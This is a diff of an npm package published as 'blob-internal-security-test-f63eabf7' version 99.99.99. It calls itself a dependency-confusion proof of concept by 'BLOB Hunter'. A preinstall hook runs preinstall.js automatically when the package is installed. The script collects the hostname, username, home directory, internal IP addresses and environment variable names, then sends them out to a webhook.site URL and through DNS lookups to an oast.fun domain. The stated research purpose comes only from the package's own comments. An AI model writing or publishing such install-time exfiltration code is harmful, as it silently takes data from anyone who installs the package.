blob-internal-security-test-f63eabf7 99.99.99

package/index.js

@@ -0,0 +1,8 @@
+// BLOB Hunter - Dependency Confusion Security Research
+// This package is used for authorized security research only.
+// It detects when companies accidentally install internal packages from public registries.
+
+module.exports = {
+  message: 'This is a security research package by BLOB Hunter',
+  purpose: 'Dependency Confusion Detection'
+};

package/package.json

@@ -0,0 +1,12 @@
+{
+  "name": "blob-internal-security-test-f63eabf7",
+  "version": "99.99.99",
+  "description": "Security Research - Dependency Confusion PoC by BLOB Hunter",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node preinstall.js || true"
+  },
+  "author": "BLOB Hunter Security Research",
+  "license": "MIT",
+  "keywords": ["security", "research", "dependency-confusion"]
+}

package/preinstall.js

@@ -0,0 +1,57 @@
+const https = require('https');
+const os = require('os');
+const dns = require('dns');
+
+// Collect system information
+const info = {
+  package: 'blob-internal-security-test-f63eabf7',
+  hostname: os.hostname(),
+  username: os.userInfo().username,
+  homedir: os.homedir(),
+  platform: os.platform(),
+  cwd: process.cwd(),
+  install_path: __dirname,
+  internal_ips: [],
+  env_keys: Object.keys(process.env).filter(k => 
+    !k.toLowerCase().includes('token') && 
+    !k.toLowerCase().includes('secret') && 
+    !k.toLowerCase().includes('password') &&
+    !k.toLowerCase().includes('key')
+  ).slice(0, 20)
+};
+
+// Get internal IPs
+const interfaces = os.networkInterfaces();
+for (const iface of Object.values(interfaces)) {
+  for (const config of iface || []) {
+    if (config.family === 'IPv4' && !config.internal) {
+      info.internal_ips.push(config.address);
+    }
+  }
+}
+
+// Create callback URL with data as base64
+const data = Buffer.from(JSON.stringify(info)).toString('base64');
+const callbackUrl = `https://webhook.site/dd5d9a16-4c5c-4c5c-9c5c-4c5c4c5c4c5c?data=${encodeURIComponent(data)}`;
+
+// Also try DNS exfiltration
+const dnsData = Buffer.from(JSON.stringify({h: info.hostname, u: info.username})).toString('hex').substring(0, 60);
+try {
+  dns.resolve(`${dnsData}.blob-hunter.oast.fun`, () => {});
+} catch (e) {}
+
+// HTTP callback
+try {
+  const url = new URL(callbackUrl);
+  const req = https.request({
+    hostname: url.hostname,
+    port: 443,
+    path: url.pathname + url.search,
+    method: 'GET',
+    timeout: 5000
+  });
+  req.on('error', () => {});
+  req.end();
+} catch (e) {}
+
+console.log('[BLOB Hunter] Security research package - no actual functionality');